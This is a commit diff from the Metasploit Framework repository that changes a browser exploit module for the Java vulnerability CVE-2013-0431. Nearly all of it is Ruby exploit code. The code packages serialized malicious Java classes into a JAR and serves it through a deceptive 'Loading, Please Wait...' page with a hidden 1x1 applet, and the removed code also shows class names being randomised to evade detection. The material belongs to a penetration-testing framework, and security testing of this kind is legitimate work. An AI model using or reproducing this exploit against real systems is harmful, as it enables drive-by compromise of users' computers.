github/metasploit-framework
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added security level bypass

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This commit is contained in:
jvazquez-r7 2013-02-20 17:50:47 +01:00
parent d88ad80116
commit d7b89a2228
3 changed files with 25 additions and 32 deletions
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data/exploits/cve-2013-0431/Exploit.class
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data/exploits/cve-2013-0431/Exploit.ser Executable file
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modules/exploits/multi/browser/java_jre17_jmxbean_2.rb
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@ -78,44 +78,37 @@ class Metasploit3 < Msf::Exploit::Remote
))
end
def setup
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0431", "Exploit.class")
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0431", "B.class")
@loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
@exploit_class_name = rand_text_alpha("Exploit".length)
@exploit_class.gsub!("Exploit", @exploit_class_name)
super
end
def on_request_uri(cli, request)
print_status("handling request for #{request.uri}")
case request.uri
when /\.jar$/i
jar = payload.encoded_jar
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
jar.add_file("B.class", @loader_class)
metasploit_str = rand_text_alpha("metasploit".length)
payload_str = rand_text_alpha("payload".length)
jar.entries.each { |entry|
entry.name.gsub!("metasploit", metasploit_str)
entry.name.gsub!("Payload", payload_str)
entry.data = entry.data.gsub("metasploit", metasploit_str)
entry.data = entry.data.gsub("Payload", payload_str)
}
jar.build_manifest
paths = [
[ "Exploit.ser" ],
[ "Exploit.class" ],
[ "B.class" ]
]
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
when /\/$/
payload = regenerate_payload(cli)
if not payload
print_error("Failed to generate the payload.")
send_not_found(cli)
return
p = regenerate_payload(cli)
jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2013-0431", path ), "rb")
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end
print_status("Sending Applet.jar")
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
when /\/$/
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
else
send_redirect(cli, get_resource() + '/', '')
@ -126,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote
def generate_html
html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
html += %Q|<embed object="Exploit.ser" type="application/x-java-applet;version=1.6" archive="sample.jar"></embed>|
html += %Q|</applet></body></html>|
return html
end